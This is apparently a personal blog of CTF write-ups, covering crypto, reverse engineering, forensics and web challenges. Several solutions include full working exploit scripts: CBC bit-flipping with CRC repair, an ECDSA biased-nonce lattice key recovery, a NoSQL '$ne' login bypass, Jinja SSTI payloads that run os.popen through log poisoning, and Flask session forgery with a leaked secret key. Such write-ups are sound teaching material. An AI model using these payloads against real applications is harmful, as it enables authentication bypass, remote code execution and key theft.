Shubh's Corner

RAIT-CTF Sanity Check – Core Team Signal

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Sanity Check – Core Team Signal

Flag: RAIT-CTF{S4NI7Y_CH3CK_7HR0UGH_C0R3_734M_D0N3}

Approach (Step by Step)

1. OSINT Collection

By performing basic recon on the RAIT-CTF Core Team, we can find Base64 fragments hidden inside the LinkedIn biographies of four members (Harsh, Chandan, Mrridul, Hrishraj):

UGFydDE6IFJBSVQtQ1RGe1M0
UGFydDI6IE5JN1lfQ0gzQ0s=
UGFydDM6IF83SFIwVUdIX0Mw
UGFydDQ6IFIzXzczNE1fRDBOM30=

2. Decoding the Fragments

Decoding each Base64 fragment gives us the labelled parts of the flag:

UGFydDE6IFJBSVQtQ1RGe1M0
→ Part1: RAIT-CTF{S4

UGFydDI6IE5JN1lfQ0gzQ0s=
→ Part2: NI7Y_CH3CK

UGFydDM6IF83SFIwVUdIX0Mw
→ Part3: _7HR0UGH_C0

UGFydDQ6IFIzXzczNE1fRDBOM30=
→ Part4: R3_734M_D0N3}

3. Assembly

Putting Part 1 → Part 2 → Part 3 → Part 4 together in the correct order gives us the final flag:

RAIT-CTF{S4NI7Y_CH3CK_7HR0UGH_C0R3_734M_D0N3}

RAIT-CTF Finals Crypto 1 - Secure Shell

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Crypto 1 - Secure Shell

Flag: RAIT-CTF{crC32_1snT_4uTh_mY_dUd3}

Approach (Step by Step)

1. Connection and Bit-Flipping Exploit

To retrieve the flag, we need to bypass the security mechanism using a bit-flipping attack and a CRC mismatch leak. Run the below Python exploit script:

from pwn import *
import binascii
import struct
import re

# Configuration
HOST = '34.0.14.121'
PORT = 9950

def xor_bytes(b1, b2):
    return bytes(a ^ b for a, b in zip(b1, b2))

def solve():
    # 1. Connect and Login
    r = remote(HOST, PORT)
    r.sendlineafter(b"User Login : ", b"user1")

    # 2. Inject the 'get_flag' command into history
    print("[*] Injecting target command...")
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"$ ", b"get_flag")
    r.recvuntil(b"OUT: Only Admin can run this")

    # 3. Retrieve the encrypted history entry
    r.sendlineafter(b"> ", b"2")
    r.recvuntil(b"[0] ")
    history_entry = r.recvline().strip().decode()

    print(f"[+] Encrypted History: {history_entry}")

    data = bytearray(binascii.unhexlify(history_entry))

    # 4. Perform Bit-Flipping on Ciphertext Block 0 to change 'guest' to 'admin'
    # 'guest' is at offset 10 inside the JSON payload.
    # JSON payload starts at Block 1.
    # To modify Block 1 plaintext, we XOR Block 0 ciphertext.
    # Block 0 starts at index 16 (first 16 bytes are IV).
    offset_in_block = 10
    block0_start = 16

    original_text = b"guest"
    target_text   = b"admin"
    xor_mask = xor_bytes(original_text, target_text)

    for i in range(len(xor_mask)):
        data[block0_start + offset_in_block + i] ^= xor_mask[i]

    # 5. Send the corrupted payload to leak the correct CRC
    bad_payload = binascii.hexlify(data).decode()

    r.sendlineafter(b"> ", b"4")      # Restore History
    r.sendlineafter(b">>> ", bad_payload.encode())

    r.sendlineafter(b"> ", b"3")      # Execute Command
    r.sendlineafter(b"$ ", b"!1")     # Execute index 0

    # Catch the error message
    response = r.recvline().decode().strip()

    if "Integrity Error" not in response:
        print(f"[-] Failed to trigger integrity error. Response: {response}")
        return

    print(f"[+] Leak received: {response}")

    # Regex parsing
    match = re.search(r"CRC Mismatch : (\d+) Expected (\d+)", response)
    if match:
        bad_crc = int(match.group(1))
        good_crc = int(match.group(2))
    else:
        print("[-] Could not parse CRC values.")
        return

    print(f"[+] Bad CRC: {bad_crc} | Target CRC: {good_crc}")

    # 6. Fix the IV to make the CRC match
    # The CRC is in the first 4 bytes of the plaintext.
    # P_0 = Decrypt(C_0) ^ IV.
    # We modify IV to force P_0 to be the correct CRC.
    bad_crc_bytes = struct.pack("<I", bad_crc)
    good_crc_bytes = struct.pack("<I", good_crc)

    crc_fix_mask = xor_bytes(bad_crc_bytes, good_crc_bytes)

    # Apply to the first 4 bytes (the IV)
    for i in range(4):
        data[i] ^= crc_fix_mask[i]

    final_payload = binascii.hexlify(data).decode()
    print(f"[+] Final Payload: {final_payload}")

    # 7. Send Final Payload and Get Flag
    r.sendlineafter(b"> ", b"4")      # Restore History
    r.sendlineafter(b">>> ", final_payload.encode())

    r.sendlineafter(b"> ", b"3")      # Execute Command
    r.sendlineafter(b"$ ", b"!1")     # Run it!

    # Interactive shell to view flag
    r.interactive()

if __name__ == "__main__":
    solve()

2. Result

Running the exploit modifies the token context to admin and repairs the CRC signature. The service will return the target flag: RAIT-CTF{crC32_1snT_4uTh_mY_dUd3}

RAIT-CTF Finals Reverse 1 - Runner

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Reverse 1 - Runner

Flag: RAIT-CTF{M4ze_Runn3r_Pr0_Ed1t10n_1337}

Approach (Step by Step)

Step 1: Service Interaction

Connect to the challenge service using netcat:

nc 34.0.14.121 9952

The service runs a stripped 64-bit ELF binary that validates user input through a custom stack-based virtual machine.

Step 2: VM & Maze Reverse Engineering

Static analysis of the binary reveals:

A custom VM interpreter in the .text section.
Embedded bytecode in .data initializing a maze.
A 25x26 maze stored in a flat memory region starting at address 0x1000.
Movement controlled via single-character inputs (R, L, U, D).
Invalid moves (wall/bounds) immediately halt execution.

Step 3: Maze Reconstruction

The bytecode initializes wall cells using repeated PUSH_IMM32 → STORE_MAZE instructions. By mapping flat memory indices with a stride of 26, the maze grid is reconstructed.

Start position: (0, 0)
Goal position: (22, 22)
Row 23: Full wall boundary preventing bypass

Step 4: Valid Move Sequence

The correct path through the maze is:

R12 → D2 → L2 → D2 → L2 → U2 → L4 → D2 → R2 → D2 → L6 → D2 → R6 → D6 → R2 → D4 → R4 → D2 → L6 → U2 → L4 → U2 → L2 → D6 → R2 → U2 → R2 → D2 → R10 → U2 → R2 → D2 → R4 → U2 → R2 → D2

Expanded as a single contiguous input string sent to the service:

RRRRRRRRRRRRDDLLDDLLUULLLLDDRRDDLLLLLLDDRRRRRRDDDDDDRRDDDDRRRRDDLLLLLLUULLLLUULLDDDDDDRRUURRDDRRRRRRRRRRUURRDDRRRRUURRDD

Carriage returns and newlines are ignored by the VM.

Step 5: Flag Retrieval

Upon reaching the goal cell, the VM executes its flag-read routine and prints the contents of flag.txt:

RAIT-CTF{M4ze_Runn3r_Pr0_Ed1t10n_1337}

RAIT-CTF Finals Forensics 1 - Move It

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Forensics 1 - Move It

Flag: RAIT-CTF{m0u53_m0v3m3n75_c4n_b3_tr1cky}

Approach (Step by Step)

1. File Inspection

We download the capture.pcap file for the challenge and open it in Wireshark.

2. Traffic Analysis

We find that the logs in Wireshark show USB device logs, specifically mouse movements. We can use tshark to extract this raw capture data into a CSV format.

tshark -r capture.pcap -Y "usb.transfer_type == 0x01 && usb.endpoint_address.direction == 1" -T fields -e usb.capdata > mouse_data.csv

3. Mouse Trajectory Visualization

Open the USB Mouse PCAP Visualizer. Upload the mouse_data.csv and it will start the plotting process mapping the USB mouse movements on an X/Y axis.

4. Retrieving the Flag

After plotting completes, the drawn lines form a QR code. When we scan and decode the QR code, we get the final flag:

RAIT-CTF{m0u53_m0v3m3n75_c4n_b3_tr1cky}

RAIT-CTF Finals Crypto 3 - Chain of Trust

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Crypto 3 - Chain of Trust

Flag: RAIT-CTF{bl0ckch41n_b14s_l34ks_pr1v4t3_k3ys}

Approach (Step by Step)

1. Source Code Analysis

We check the source code provided to us and locate the following function:

def _get_k(self, msg_hash_int):
    h = hashlib.sha256(self.secret_seed + int.to_bytes(msg_hash_int, 32, 'big')).digest()
    k = int.from_bytes(h[:30], 'big') # <--- The Flaw
    return k

We can see the nonce (k) being only 30 bytes instead of the usual 32. This makes it vulnerable because the nonce is biased. We can use the Hidden Number Problem (HNP) to solve it.

2. Interaction Script

We run a script to collect 20 signatures (r_list, s_list, and z_list values).

from pwn import *
import hashlib
import json

# Connection
HOST = "34.0.14.121"
PORT = 9951
r = remote(HOST, PORT)

# 1. Capture the current session's Public Key
r.recvuntil(b"Public Key: ")
pubkey_raw = r.recvline().decode().strip()
print(f"Targeting Session Pubkey: {pubkey_raw}")

r_list = []
s_list = []
z_list = []

# 2. Collect 20 blocks
for i in range(20):
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"Enter data string: ", f"attack_{i}".encode())
    r.sendlineafter(b"> ", b"2")
    block = json.loads(r.recvline().decode())

    # Calculate z (the hash of the message signed)
    msg = f"{block['index']}{block['prev_hash']}{block['data']}".encode()
    z = int(hashlib.sha256(msg).hexdigest(), 16)

    r_list.append(block["r"])
    s_list.append(block["s"])
    z_list.append(z)
    print(f"Collected {i+1}/20", end="\r")

print("\n--- PASTE THESE INTO SAGE ---")
print(f"r_list = {r_list}")
print(f"s_list = {s_list}")
print(f"z_list = {z_list}")
print("-----------------------------")

# 3. KEEP CONNECTION OPEN
# This waits for you to calculate the r/s in Sage
r.interactive()

3. Lattice Attack using SageMath

Using the collected parameters, we can set up a lattice and use LLL to recover the private key:

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
B = 2^240
m = len(r_list)

M = Matrix(QQ, m + 2, m + 2)
for i in range(m):
    M[i, i] = n
    M[m, i] = (r_list[i] * inverse_mod(s_list[i], n)) % n
    M[m+1, i] = ((-z_list[i]) * inverse_mod(s_list[i], n)) % n

M[m, m] = B / n
M[m+1, m+1] = B

L = M.LLL()

priv_key = 0
for row in L:
    potential_d = abs(int(row[m] * n / B))
    if potential_d > 1 and potential_d < n:
        priv_key = potential_d
        print(f"--- RECOVERED NEW PRIVATE KEY ---\nd = {priv_key}\n")
        break

if priv_key:
    E = EllipticCurve(GF(2^256 - 2^32 - 977), [0, 7])
    G = E(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,
          0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)
    
    msg = b"GIVE ME FLAG"
    z_flag = int(hashlib.sha256(msg).hexdigest(), 16)
    k_flag = 2
    
    k_point = k_flag * G
    r_flag = int(k_point.xy()[0]) % n
    s_flag = (inverse_mod(k_flag, n) * (z_flag + r_flag * priv_key)) % n
    
    print("--- SIGNATURE FOR THIS SESSION ---")
    print(f"r: {r_flag}")
    print(f"s: {s_flag}")

4. Retrieving the Flag

We can now use these generated r and s signature values to sign the GIVE ME FLAG payload. Passing this valid signature back to the service grants us the flag.

RAIT-CTF Finals Reverse 2 - Employee Manager

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Reverse 2 - Employee Manager

Flag: RAIT-CTF{p4tches_g3ts_y0u_M4TCH3SSS}

Approach (Step by Step)

Binary Information

The target binary is a 64-bit Windows executable written in Go, featuring a GUI built with the Fyne framework.

Property	Value
File Name	employee_manager.exe
Architecture	PE32+ (x64)
Language	Go (with Fyne GUI framework)
Image Base	`0x140000000`
Entry Point	`0x1400013e0` (mainCRTStartup)

Challenge Architecture

The binary implements a tabbed GUI application with two distinct unlock mechanisms:

Tab 1: “Employee Manager” - Validates employee credentials with time-based constraints.
Tab 2: “Redeem Coupon” - Validates a coupon code with input length restrictions.

Each tab, when successfully validated, decrypts a portion of the flag using XOR encryption with a shared key. The flag is split into two parts stored as encrypted byte arrays in the binary’s data section.

Encryption Mechanism & XOR Key

Both flag components use the same encryption key for the XOR cipher.

Symbol	Address	Value
`main.key`	`0x140795a20`	`0x55`

Decryption Algorithm

The decryption logic, found in both main.main.func1 and main.main.func3, implements a simple XOR cipher against the main.key (0x55).

for i := 0; i < len(encrypted_array); i++ {
    decrypted[i] = encrypted_array[i] ^ main.key
}

This is the equivalent Assembly implementation at 0x14070a742 (func1) and 0x14070a235 (func3):

MOVZX ESI, byte ptr [RDX + RBX*0x1]  ; Load encrypted byte
MOVZX EDI, byte ptr [0x140795a20]    ; Load key (0x55)
XOR   ESI, EDI                       ; XOR decrypt
MOV   byte ptr [RAX + RBX*0x1], SIL  ; Store result

Tab 1: Employee Manager (Flag Part 1)

This tab’s validation logic is handled by main.main.func1 at 0x14070a320.

Credential Requirements

Field	Required Value	Validation
Employee Name	`raitadmin`	Case-insensitive, trimmed, lowercased
Employee ID	`1337`	Exact match (checked as integer `0x37333331`)

Time-Based Validation

The challenge implements a time-based check that requires execution during a specific time window:

Hour Check: (seconds_since_epoch % 86400) / 3600 == 3
- This requires execution during the 3 AM hour (03:00-03
  ).
Minute Check: Complex calculation requiring ((seconds % 3600) / magic_constant) >> 5 == 0x21
- This effectively requires a specific minute within the hour.

Encrypted Flag Storage & Decryption

The encrypted flag part 1 is stored as a Go slice header pointing to a byte array.

Component	Address	Value
Slice Header	`0x140eda6e0`	`{array_ptr, len, cap}`
Array Pointer	`0x1407980d0`	(points to encrypted data)
Length	-	25 bytes
Capacity	-	25 bytes

Encrypted (hex): 2534272178646f7507141c01781601132e256121363d30260a
Decrypted: part-1: RAIT-CTF{p4tches_

Tab 2: Redeem Coupon (Flag Part 2)

This tab’s logic involves two functions:

Entry Validation: main.main.func2 at 0x14070a2c0
Redemption Handler: main.main.func3 at 0x14070a140

Input Length Contradiction

The challenge presents an intentional contradiction:

func2 limits input to a maximum of 5 characters.
func3 requires exactly 8 characters for validation.
This suggests the validation may need to be bypassed or the input restriction circumvented in memory.

Coupon Code Validation

The redemption handler checks the input against a hardcoded 8-byte value stored in little-endian format.

Check	Value
Length	8 bytes
Expected Value (hex)	`0x21214d3333443352`
Expected Value (LE bytes)	`52 33 44 33 33 4d 21 21`
Expected Value (ASCII)	`R3D33M!!`

Assembly implementation at 0x14070a166:

CMP qword ptr [RSI+0x78], 0x8      ; Check length == 8
JNZ fail
MOV RSI, qword ptr [RSI+0x70]      ; Get string data pointer

MOV R9, 0x21214d3333443352         ; Load expected value
CMP qword ptr [RSI], R9            ; Compare first 8 bytes

Encrypted Flag Storage & Decryption

The encrypted flag part 2 is also stored via a Go slice.

Component	Address	Value
Slice Header	`0x140eda700`	`{array_ptr, len, cap}`
Array Pointer	`0x140797530`	(points to encrypted data)
Length	-	19 bytes
Capacity	-	19 bytes

Encrypted (hex): 326621260a2c65200a186101161d6606060628
Decrypted: g3ts_y0u_M4TCH3SSS}

Combining both decrypted parts gives the final flag: RAIT-CTF{p4tches_g3ts_y0u_M4TCH3SSS}

Analysis Methodology

Tools Used

Ghidra - Static analysis and decompilation
Python - Binary parsing and data extraction
PE file format analysis - Virtual address to file offset mapping

Analysis Steps

Identified main GUI setup function (main.main @ 0x140709820).
Located and decompiled three callback functions (func1, func2, func3).
Analyzed validation logic and identified credential requirements.
Located XOR decryption loops in both func1 and func3.
Found main.key global variable through cross-references.
Disassembled validation functions to identify slice header addresses.
Extracted main.f1 and main.f2 slice headers from data section.
Mapped virtual addresses to file offsets in PE binary.
Read encrypted byte arrays from file.
Decrypted both arrays using XOR with key 0x55.
Combined decrypted parts to form complete flag.

Key Addresses Reference

Functions

Function	Address	Purpose
`main.main`	`0x140709820`	GUI setup and initialization
`main.main.func1`	`0x14070a320`	Employee Manager validation (Part 1)
`main.main.func2`	`0x14070a2c0`	Coupon entry validation
`main.main.func3`	`0x14070a140`	Coupon redemption handler (Part 2)

Global Variables

Symbol	Virtual Address	File Offset	Value
`main.key`	`0x140795a20`	`0x794a20`	`0x55`
`main.f1` (slice)	`0x140eda6e0`	`0xed96e0`	`{ptr, len, cap}`
`main.f2` (slice)	`0x140eda700`	`0xed9700`	`{ptr, len, cap}`

Encrypted Data Arrays

Array	Virtual Address	File Offset	Length
`main.f1.array`	`0x1407980d0`	`0x7970d0`	25 bytes
`main.f2.array`	`0x140797530`	`0x796530`	19 bytes

RAIT-CTF Finals Web 1

Mon, 06 Jul 2026 17:15:00 GMT

RAIT-CTF Finals Web 1

Flag: RAIT-CTF{l0g_p01s0n1ng_plu5_sst1_equ4ls_rc3}

Approach (Step by Step)

1. Authentication Bypass (NoSQL Injection)

Visiting http://34.0.14.121:9954/login reveals a login form. Analyzing the source code shows that the form submits data as JSON:

const res = await fetch('/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username, password })
});

We can bypass the authentication by exploiting a NoSQL injection vulnerability. By passing an object operator like $ne (not equal), we force the query to evaluate to true.

Payload:

{
    "username": {"$ne": null},
    "password": {"$ne": null}
}

We can use curl to trigger this login and save the resulting session cookie:

curl -X POST http://34.0.14.121:9954/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
-c cookies.txt

This returns an admin session cookie like: eyJ0cmFja2VyX3Rva2VuIjoiOWJhZjkwZDMtMGMyYi00YmM5LWFhN2UtODg4MjBhNWVmMmI3Iiwi...

2. SSTI via Log Poisoning

We use a standard Python Jailbreak payload to access os.popen. The payload uses the url_for global to access builtins -> import os -> popen.

SSTI Payload:

{{ url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/data/safe_flag.txt').read() }}

3. Automated Exploit Script

The application logs the User-Agent header of incoming requests. By poisoning our User-Agent with the SSTI payload, we can trigger code execution when the admin views the logs page (/?page=view_log).

import requests
import re

# Configuration
TARGET_URL = "http://34.0.14.121:9954"
ADMIN_COOKIE = {
    "session": "eyJ0cmFja2VyX3Rva2VuIjoiOWJhZjkwZDMtMGMyYi00YmM5LWFhN2UtODg4MjBhNWVmMmI3IiwidXNlciI6eyIkbmUiOm51bGx9fQ.aX3gEQ.fzHTbnmIqHTQsyY9P0H-InOGGNk"
}

def solve():
    print(f"[*] Targeting: {TARGET_URL}")

    # 1. Inject Payload into User-Agent (Log Poisoning)
    payload = "{{ url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/data/safe_flag.txt').read() }}"
    
    headers = {
        "User-Agent": payload
    }
    
    print("[*] Sending malicious User-Agent...")

    try:
        # We visit the root page so it logs our access (and our malicious User-Agent)
        requests.get(TARGET_URL + "/", cookies=ADMIN_COOKIE, headers=headers)
    except Exception as e:
        print(f"[-] Request failed: {e}")
        return

    # 2. Trigger Execution (Access Logs)
    print("[*] Retrieving logs to trigger SSTI...")
    try:
        # Accessing view_log renders the log entries, executing our SSTI payload
        r = requests.get(TARGET_URL + "/?page=view_log", cookies=ADMIN_COOKIE)

        if r.status_code == 200:
            # 3. Extract Flag
            # Look for the flag pattern in the response
            match = re.search(r'(RAIT-CTF\{.*?\})', r.text)
            if match:
                flag = match.group(1)
                print(f"\n[+] FLAG FOUND: {flag}")
                return flag
            else:
                print("[-] Flag not found in response. Check if payload executed.")
        else:
            print(f"[-] Failed to access logs. Status Code: {r.status_code}")

    except Exception as e:
        print(f"[-] Error retrieving logs: {e}")

if __name__ == "__main__":
    solve()

4. Flag Retrieval

Running the script successfully retrieves the flag from the server:

RAIT-CTF{l0g_p01s0n1ng_plu5_sst1_equ4ls_rc3}

Technovate CTF: The Memories Writeup

Mon, 06 Jul 2026 16:55:00 GMT

WRITE UP: The Memories [IDOR → SSTI → Session Forgery → Admin → Flag]

NOTE : Hints are not a part of write-up.

Overview

This challenge demonstrates a multi-step exploitation chain combining:

Credential leakage
IDOR (Insecure Direct Object Reference)
SSTI (Server-Side Template Injection)
Flask session forgery
SSTI (Server-Side Template Injection)

Goal: escalate from a low-privileged user (student_7) to rangrez_admin and extract the flag.

Recon

Checked page source and /static/robots.txt
Found credentials:
```
username: student_7
password: holi123
```

Login

IDOR

Access hidden memory:

/memory/13

Owned by rangrez_admin
Not visible but accessible via direct reference

SSTI Discovery

Application renders user-controlled input via Jinja
student_x users → SandboxedEnvironment (The CTF was set in order to restrict direct flag discovery without session forgery).
rangrez_admin → full Environment (no sandbox)

Secret Key Extraction

From SSTI:

{{ config['SECRET_KEY'] }}
app.secret_key = "r4ngr3z-arch1v3-k3y-2026"

Session Forgery

Forge cookie:

flask-unsign --sign --cookie '{"user": "rangrez_admin", "overrides": {} }' --secret 'r4ngr3z-arch1v3-k3y-2026'
{"user":"rangrez_admin","overrides":{}}

Sign using the secret key and replace browser cookie.

Admin Access

Now running in unsandboxed Jinja environment.

Final SSTI Payloads

Payloads

{{ self.__init__.__globals__['FLAG'] }} {{
self.__dict__._TemplateReference__context.get('FLAG') }}

Flag

TCHNVTE{1d0r_plus_sst1_rang_d3_d1y4}